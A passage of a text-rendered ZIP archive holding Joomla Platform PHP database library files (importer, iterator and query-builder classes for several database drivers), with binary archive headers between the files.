* @param string $name The constraint name.
*
* @return string
*
* @since 3.0.0
*/
protected function getDropPrimaryKeySql($table, $name)
{
return 'ALTER TABLE ONLY ' . $this->db->quoteName($table)
. ' DROP CONSTRAINT ' . $this->db->quoteName($name);
}
/**
* Get the details list of keys for a table.
*
* @param array $keys An array of objects that comprise the keys for
the table.
*
* @return array The lookup array. array({key name} => array(object,
...))
*
* @since 3.0.0
* @throws Exception
*/
protected function getIdxLookup($keys)
{
// First pass, create a lookup of the keys.
$lookup = array();
foreach ($keys as $key)
{
if ($key instanceof SimpleXMLElement)
{
$kName = (string) $key['Index'];
}
else
{
$kName = $key->Index;
}
if (empty($lookup[$kName]))
{
$lookup[$kName] = array();
}
$lookup[$kName][] = $key;
}
return $lookup;
}
/**
* Get the details list of sequences for a table.
*
* @param array $sequences An array of objects that comprise the
sequences for the table.
*
* @return array The lookup array. array({key name} => array(object,
...))
*
* @since 3.0.0
* @throws Exception
*/
protected function getSeqLookup($sequences)
{
// First pass, create a lookup of the keys.
$lookup = array();
foreach ($sequences as $seq)
{
if ($seq instanceof SimpleXMLElement)
{
$sName = (string) $seq['Name'];
}
else
{
$sName = $seq->Name;
}
if (empty($lookup[$sName]))
{
$lookup[$sName] = array();
}
$lookup[$sName][] = $seq;
}
return $lookup;
}
}
PKIn�[Gu�SSdatabase/importer.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Importer Class
*
* @since 3.0.0
*/
abstract class JDatabaseImporter
{
/**
* @var array An array of cached data.
* @since 3.2.0
*/
protected $cache = array();
/**
* The database connector to use for exporting structure and/or data.
*
* @var JDatabaseDriver
* @since 3.2.0
*/
protected $db = null;
/**
* The input source.
*
* @var mixed
* @since 3.2.0
*/
protected $from = array();
/**
* The type of input format (XML).
*
* @var string
* @since 3.2.0
*/
protected $asFormat = 'xml';
/**
* An array of options for the exporter.
*
* @var object
* @since 3.2.0
*/
protected $options = null;
/**
* Constructor.
*
* Sets up the default options for the exporter.
*
* @since 3.2.0
*/
public function __construct()
{
$this->options = new stdClass;
$this->cache = array('columns' => array(),
'keys' => array());
// Set up the class defaults:
// Import with only structure
$this->withStructure();
// Export as XML.
$this->asXml();
// Default destination is a string using $output = (string) $exporter;
}
/**
* Set the output option for the exporter to XML format.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
*/
public function asXml()
{
$this->asFormat = 'xml';
return $this;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
* @throws Exception if an error is encountered.
*/
abstract public function check();
/**
* Specifies the data source to import.
*
* @param mixed $from The data source to import.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
*/
public function from($from)
{
$this->from = $from;
return $this;
}
/**
* Get the SQL syntax to drop a column.
*
* @param string $table The table name.
* @param string $name The name of the field to drop.
*
* @return string
*
* @since 3.2.0
*/
protected function getDropColumnSql($table, $name)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP COLUMN ' . $this->db->quoteName($name);
}
/**
* Get the real name of the table, converting the prefix wildcard string
if present.
*
* @param string $table The name of the table.
*
* @return string The real name of the table.
*
* @since 3.2.0
*/
protected function getRealTableName($table)
{
$prefix = $this->db->getPrefix();
// Replace the magic prefix if found.
$table = preg_replace('|^#__|', $prefix, $table);
return $table;
}
/**
* Merges the incoming structure definition with the existing structure.
*
* @return void
*
* @note Currently only supports XML format.
* @since 3.2.0
* @throws RuntimeException on error.
*/
public function mergeStructure()
{
$prefix = $this->db->getPrefix();
$tables = $this->db->getTableList();
if ($this->from instanceof SimpleXMLElement)
{
$xml = $this->from;
}
else
{
$xml = new SimpleXMLElement($this->from);
}
// Get all the table definitions.
$xmlTables = $xml->xpath('database/table_structure');
foreach ($xmlTables as $table)
{
// Convert the magic prefix into the real table name.
$tableName = (string) $table['name'];
$tableName = preg_replace('|^#__|', $prefix, $tableName);
if (in_array($tableName, $tables))
{
// The table already exists. Now check if there is any difference.
if ($queries = $this->getAlterTableSql($table))
{
// Run the queries to upgrade the data structure.
foreach ($queries as $query)
{
$this->db->setQuery((string) $query);
$this->db->execute();
}
}
}
else
{
// This is a new table.
$sql = $this->xmlToCreate($table);
$this->db->setQuery((string) $sql);
$this->db->execute();
}
}
}
/**
* Sets the database connector to use for exporting structure and/or data.
*
* @param JDatabaseDriver $db The database connector.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
*/
public function setDbo(JDatabaseDriver $db)
{
$this->db = $db;
return $this;
}
/**
* Sets an internal option to merge the structure based on the input data.
*
* @param boolean $setting True to export the structure, false to not.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
*/
public function withStructure($setting = true)
{
$this->options->withStructure = (boolean) $setting;
return $this;
}
}
PKIn�[���''database/interface.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Interface
*
* @since 1.7.0
*/
interface JDatabaseInterface
{
/**
* Test to see if the connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public static function isSupported();
}
PKIn�[6
0��database/iterator/mysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL database iterator.
*
* @link http://dev.mysql.com/doc/
* @since 3.0.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseIteratorMysql extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.0.0
* @see Countable::count()
*/
public function count()
{
return mysql_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject()
{
return mysql_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult()
{
mysql_free_result($this->cursor);
}
}
PKIn�[l]����database/iterator/mysqli.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQLi database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorMysqli extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.0.0
* @see Countable::count()
*/
public function count()
{
return mysqli_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject()
{
return mysqli_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult()
{
mysqli_free_result($this->cursor);
}
}
PKIn�[�V����database/iterator/oracle.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Oracle database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorOracle extends JDatabaseIteratorPdo
{
}
PKIn�[c�t��database/iterator/pdo.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorPdo extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.0.0
* @see Countable::count()
*/
public function count()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
return $this->cursor->rowCount();
}
else
{
return 0;
}
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
return $this->cursor->fetchObject($this->class);
}
else
{
return false;
}
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
$this->cursor->closeCursor();
}
}
}
PKIn�[g�Zdatabase/iterator/pdomysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL database iterator for the PDO based MySQL database driver.
*
* @package Joomla.Platform
* @subpackage Database
* @link https://dev.mysql.com/doc/
* @since 3.4
*/
class JDatabaseIteratorPdomysql extends JDatabaseIteratorPdo
{
}
PKIn�["y]U��database/iterator/pgsql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL database iterator for the PDO based PostgreSQL database
driver.
*
* @since 3.9.0
*/
class JDatabaseIteratorPgsql extends JDatabaseIteratorPdo
{
}
PKIn�[�����
database/iterator/postgresql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL database iterator.
*
* @since 3.2.0
* @deprecated 4.0 Use PDO PostgreSQL instead
*/
class JDatabaseIteratorPostgresql extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.2.0
* @see Countable::count()
*/
public function count()
{
return pg_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.2.0
*/
protected function fetchObject()
{
return pg_fetch_object($this->cursor, null, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.2.0
*/
protected function freeResult()
{
pg_free_result($this->cursor);
}
}
PKIn�[t�{��database/iterator/sqlazure.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQL azure database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorSqlazure extends JDatabaseIteratorSqlsrv
{
}
PKIn�[Zn��database/iterator/sqlite.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQLite database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorSqlite extends JDatabaseIteratorPdo
{
}
PKIn�[-����database/iterator/sqlsrv.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQL server database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorSqlsrv extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.0.0
* @see Countable::count()
*/
public function count()
{
return sqlsrv_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject()
{
return sqlsrv_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult()
{
sqlsrv_free_stmt($this->cursor);
}
}
PKIn�[h�Jh��database/iterator.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Driver Class
*
* @since 3.0.0
*/
abstract class JDatabaseIterator implements Countable, Iterator
{
/**
* The database cursor.
*
* @var mixed
* @since 3.0.0
*/
protected $cursor;
/**
* The class of object to create.
*
* @var string
* @since 3.0.0
*/
protected $class;
/**
* The name of the column to use for the key of the database record.
*
* @var mixed
* @since 3.0.0
*/
private $_column;
/**
* The current database record.
*
* @var mixed
* @since 3.0.0
*/
private $_current;
/**
* A numeric or string key for the current database record.
*
* @var int|string
* @since 3.0.0
*/
private $_key;
/**
* The number of fetched records.
*
* @var integer
* @since 3.0.0
*/
private $_fetched = 0;
/**
* Database iterator constructor.
*
* @param mixed $cursor The database cursor.
* @param string $column An option column to use as the iterator key.
* @param string $class The class of object that is returned.
*
* @throws InvalidArgumentException
*/
public function __construct($cursor, $column = null, $class =
'stdClass')
{
if (!class_exists($class))
{
throw new InvalidArgumentException(sprintf('new %s(*%s*,
cursor)', get_class($this), gettype($class)));
}
$this->cursor = $cursor;
$this->class = $class;
$this->_column = $column;
$this->_fetched = 0;
$this->next();
}
/**
* Database iterator destructor.
*
* @since 3.0.0
*/
public function __destruct()
{
if ($this->cursor)
{
$this->freeResult($this->cursor);
}
}
/**
* The current element in the iterator.
*
* @return object
*
* @see Iterator::current()
* @since 3.0.0
*/
public function current()
{
return $this->_current;
}
/**
* The key of the current element in the iterator.
*
* @return int|string
*
* @see Iterator::key()
* @since 3.0.0
*/
public function key()
{
return $this->_key;
}
/**
* Moves forward to the next result from the SQL query.
*
* @return void
*
* @see Iterator::next()
* @since 3.0.0
*/
public function next()
{
// Set the default key as being the number of fetched object
$this->_key = $this->_fetched;
// Try to get an object
$this->_current = $this->fetchObject();
// If an object has been found
if ($this->_current)
{
// Set the key as being the indexed column (if it exists)
if (isset($this->_current->{$this->_column}))
{
$this->_key = $this->_current->{$this->_column};
}
// Update the number of fetched object
$this->_fetched++;
}
}
/**
* Rewinds the iterator.
*
* This iterator cannot be rewound.
*
* @return void
*
* @see Iterator::rewind()
* @since 3.0.0
*/
public function rewind()
{
}
/**
* Checks if the current position of the iterator is valid.
*
* @return boolean
*
* @see Iterator::valid()
* @since 3.0.0
*/
public function valid()
{
return (boolean) $this->_current;
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
abstract protected function fetchObject();
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
abstract protected function freeResult();
}
PKIn�[�D�
�
database/query/element.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Element Class.
*
* @property-read string $name The name of the element.
* @property-read array $elements An array of elements.
* @property-read string $glue Glue piece.
*
* @since 1.7.0
*/
class JDatabaseQueryElement
{
/**
* @var string The name of the element.
* @since 1.7.0
*/
protected $name = null;
/**
* @var array An array of elements.
* @since 1.7.0
*/
protected $elements = null;
/**
* @var string Glue piece.
* @since 1.7.0
*/
protected $glue = null;
/**
* Constructor.
*
* @param string $name The name of the element.
* @param mixed $elements String or array.
* @param string $glue The glue for elements.
*
* @since 1.7.0
*/
public function __construct($name, $elements, $glue = ',')
{
$this->elements = array();
$this->name = $name;
$this->glue = $glue;
$this->append($elements);
}
/**
* Magic function to convert the query element to a string.
*
* @return string
*
* @since 1.7.0
*/
public function __toString()
{
if (substr($this->name, -2) == '()')
{
return PHP_EOL . substr($this->name, 0, -2) . '(' .
implode($this->glue, $this->elements) . ')';
}
else
{
return PHP_EOL . $this->name . ' ' .
implode($this->glue, $this->elements);
}
}
/**
* Appends element parts to the internal list.
*
* @param mixed $elements String or array.
*
* @return void
*
* @since 1.7.0
*/
public function append($elements)
{
if (is_array($elements))
{
$this->elements = array_merge($this->elements, $elements);
}
else
{
$this->elements[] = $elements;
}
}
/**
* Gets the elements of this element.
*
* @return array
*
* @since 1.7.0
*/
public function getElements()
{
return $this->elements;
}
/**
* Sets the name of this element.
*
* @param string $name Name of the element.
*
* @return JDatabaseQueryElement Returns this object to allow chaining.
*
* @since 3.6
*/
public function setName($name)
{
$this->name = $name;
return $this;
}
/**
* Method to provide deep copy support to nested objects and arrays
* when cloning.
*
* @return void
*
* @since 1.7.3
*/
public function __clone()
{
foreach ($this as $k => $v)
{
if (is_object($v) || is_array($v))
{
$this->{$k} = unserialize(serialize($v));
}
}
}
}
PKIn�[?}P>��database/query/limitable.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Database Query Limitable Interface.
* Adds bind/unbind methods as well as a getBounded() method
* to retrieve the stored bounded variables on demand prior to
* query execution.
*
* @since 3.0.0
*/
interface JDatabaseQueryLimitable
{
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the JDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0);
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0);
}
PKIn�[��q��database/query/mysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseQueryMysql extends JDatabaseQueryMysqli
{
}
PKIn�[��
��database/query/mysqli.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
*/
class JDatabaseQueryMysqli extends JDatabaseQuery implements
JDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 3.0.0
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 3.0.0
*/
protected $limit;
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 1.7.0
*/
public function __toString()
{
switch ($this->type)
{
case 'select':
if ($this->selectRowNumber)
{
$orderBy = $this->selectRowNumber['orderBy'];
$tmpOffset = $this->offset;
$tmpLimit = $this->limit;
$this->offset = 0;
$this->limit = 0;
$tmpOrder = $this->order;
$this->order = null;
$query = parent::__toString();
$this->order = $tmpOrder;
$this->offset = $tmpOffset;
$this->limit = $tmpLimit;
// Add support for second order by, offset and limit
$query = PHP_EOL . 'SELECT * FROM (' . $query . PHP_EOL .
"ORDER BY $orderBy" . PHP_EOL . ') w';
if ($this->order)
{
$query .= (string) $this->order;
}
return $this->processLimit($query, $this->limit,
$this->offset);
}
}
return parent::__toString();
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0 && $offset > 0)
{
$query .= ' LIMIT ' . $offset . ', ' . $limit;
}
elseif ($limit > 0)
{
$query .= ' LIMIT ' . $limit;
}
return $query;
}
/**
* Concatenates an array of column names or values.
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.0
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
$concat_string = 'CONCAT_WS(' . $this->quote($separator);
foreach ($values as $value)
{
$concat_string .= ', ' . $value;
}
return $concat_string . ')';
}
else
{
return 'CONCAT(' . implode(',', $values) .
')';
}
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Return correct regexp operator for mysqli.
*
* Ensure that the regexp operator is mysqli compatible.
*
* Usage:
* $query->where('field ' . $query->regexp($search));
*
* @param string $value The regex pattern.
*
* @return string Returns the regex operator.
*
* @since 1.7.3
*/
public function regexp($value)
{
return ' REGEXP ' . $value;
}
/**
* Return correct rand() function for Mysql.
*
* Ensure that the rand() function is Mysql compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' RAND() ';
}
/**
* Return the number of the current row.
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
* @throws RuntimeException
*/
public function selectRowNumber($orderBy, $orderColumnAlias)
{
$this->validateRowNumber($orderBy, $orderColumnAlias);
$this->select("(SELECT @rownum := @rownum + 1 FROM (SELECT
@rownum := 0) AS r) AS $orderColumnAlias");
return $this;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
* $query->select($query->castAsChar('a', 40));
*
* @param string $value The value to cast as a char.
*
* @param string $len The length of the char.
*
* @return string Returns the cast value.
*
* @since 3.7.0
*/
public function castAsChar($value, $len = null)
{
if (!$len)
{
return $value;
}
else
{
return ' CAST(' . $value . ' AS CHAR(' . $len .
'))';
}
}
}
PKIn�[�w<��database/query/oracle.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Oracle Query Building Class.
*
* @since 3.0.0
*/
class JDatabaseQueryOracle extends JDatabaseQueryPdo implements
JDatabaseQueryPreparable, JDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 3.0.0
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 3.0.0
*/
protected $limit;
/**
* @var array Bounded object array
* @since 3.0.0
*/
protected $bounded = array();
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return JDatabaseQueryOracle
*
* @since 3.0.0
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array())
{
// Case 1: Empty Key (reset $bounded array)
if (empty($key))
{
$this->bounded = array();
return $this;
}
// Case 2: Key Provided, null value (unset key from $bounded array)
if (is_null($value))
{
if (isset($this->bounded[$key]))
{
unset($this->bounded[$key]);
}
return $this;
}
$obj = new stdClass;
$obj->value = &$value;
$obj->dataType = $dataType;
$obj->length = $length;
$obj->driverOptions = $driverOptions;
// Case 3: Simply add the Key/Value into the bounded array
$this->bounded[$key] = $obj;
return $this;
}
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 3.0.0
*/
public function &getBounded($key = null)
{
if (empty($key))
{
return $this->bounded;
}
else
{
if (isset($this->bounded[$key]))
{
return $this->bounded[$key];
}
}
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQueryOracle Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function clear($clause = null)
{
switch ($clause)
{
case null:
$this->bounded = array();
break;
}
parent::clear($clause);
return $this;
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the JDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
// Check if we need to mangle the query.
if ($limit || $offset)
{
$query = 'SELECT joomla2.*
FROM (
SELECT joomla1.*, ROWNUM AS joomla_db_rownum
FROM (
' . $query . '
) joomla1
) joomla2';
// Check if the limit value is greater than zero.
if ($limit > 0)
{
$query .= ' WHERE joomla2.joomla_db_rownum BETWEEN ' .
($offset + 1) . ' AND ' . ($offset + $limit);
}
else
{
// Check if there is an offset and then use this.
if ($offset)
{
$query .= ' WHERE joomla2.joomla_db_rownum > ' . ($offset
+ 1);
}
}
}
return $query;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQueryOracle Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
}
PKIn�[�����database/query/pdo.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO Query Building Class.
*
* @since 3.0.0
*/
class JDatabaseQueryPdo extends JDatabaseQuery
{
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
* $query->select($query->castAsChar('a', 40));
*
* @param string $value The value to cast as a char.
*
* @param string $len The length of the char.
*
* @return string Returns the cast value.
*
* @since 1.7.0
*/
public function castAsChar($value, $len = null)
{
if (!$len)
{
return $value;
}
else
{
return ' CAST(' . $value . ' AS CHAR(' . $len .
'))';
}
}
}
PKIn�[h.���database/query/pdomysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @package Joomla.Platform
* @subpackage Database
* @since 3.4
*/
class JDatabaseQueryPdomysql extends JDatabaseQueryMysqli
{
}
PKIn�[���P}}database/query/pgsql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO PostgreSQL Query Building Class.
*
* @since 3.9.0
*/
class JDatabaseQueryPgsql extends JDatabaseQueryPostgresql implements
JDatabaseQueryPreparable
{
/**
* Holds key / value pair of bound objects.
*
* @var mixed
* @since 3.9.0
*/
protected $bounded = array();
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
